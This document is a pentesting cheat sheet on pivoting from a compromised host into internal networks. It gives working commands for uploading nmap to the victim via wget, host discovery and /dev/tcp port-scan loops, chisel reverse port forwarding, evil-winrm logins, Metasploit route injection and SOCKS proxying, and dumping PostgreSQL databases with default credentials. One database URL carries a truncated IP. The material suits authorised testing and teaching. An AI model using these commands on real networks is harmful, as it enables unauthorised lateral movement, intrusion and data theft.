Accessing obtained over one machine to exploit another machine deeper in the network.
Enumerate Network in Remote Machine
After entering remote machine, we can enumerate and search other networks.
Before that if the target machine does not have nmap, we can upload the binary to target machine.
# Linux 64-bit
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap
When we're ready, let's investigate the network as follow.
# ARP cache
arp -a
# Network hosts, ip addresses
cat /etc/hosts
cat /etc/resolv.conf
nmcli dev show
# Network ranges
nmap 10.0.0.1-255
nmap 172.17.0.1-255
for i in {1..255}; do (ping -c 1 10.0.0.${i} | grep "bytes from" &); done
# Port scan
nmap 10.0.0.2
nmap 172.17.0.2
for i in {1..65535}; do (echo > /dev/tcp/172.17.0.2/$i) >/dev/null 2>&1 && echo $i is open; done
Access to Not Directly Accessible Host
If we find host and port but cannot directly access from local machine, we can accomplish that by reverse port forwarding.
For example, assume we found another host 172.16.22.2 and port 5985 in remote machine, then we want to connect the port on the host. Execute the following commands on each machine.
# In local machine
chisel server -p 9999 --reverse
# In remote machine
# replace "10.0.0.1" with your local ip address
chisel client 10.0.0.1:9999 R:5985:172.16.22.2:5985
Now we can access to 172.16.22.2:5985 from local machine as follow.
nmap -p 5985 localhost
# Result
PORT STATE SERVICE
5985/tcp open wsman
After that we can connect to the service.
evil-winrm -u username -p password -i localhost
Basic Flow with Metasploit, Meterpreter
msfconsole
msf> use auxiliary/...
msf> run
msf> background
# Upgrade the latest session to meterpreter
msf> sessions -u -1
# Interact with the latest session (meterpreter)
msf> sessions -i -1
# Resolve the remote hostname to an ip address
meterpreter> resolve <variable>
# Background the meterpreter session
meterpreter> background
# Configure the routing table to the destination for 172.28.101.51 (outputted ip of the "resolve" command) to the latest opened session.
msf> route add 172.28.101.51/32 -1
# Configure the routing table to the other destination for 172.17.0.1 (e.g. written in /.dockerenv) to the latest opened session.
msf> route add 172.17.0.1/32 -1
# Print the routing table
msf> route print
After modifying the routing table, you can fetch information using the IP (e.g. 172.28.101.51) in msfconsole. For example:
# PostgreSQL
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> run postgres://postgres:postgres@172.28.101.51/postgres
msf> use auxiliary/admin/postgres/postgres_sql
msf> run postgres://postgres:postgres@172.28.101/postgres sql='select * from <table>'
Socks Proxy
It is an intermediate server that supports relaying networking traffic between two machines.
msfconsole
msf> use auxiliary/server/socks_proxy
msf> run srvhost=127.0.0.1 srvport=9050 version=4a
# Check if the socks proxy is running as a background job.
msf> jobs
# Stop the socks proxy
msf> jobs -k <job-id>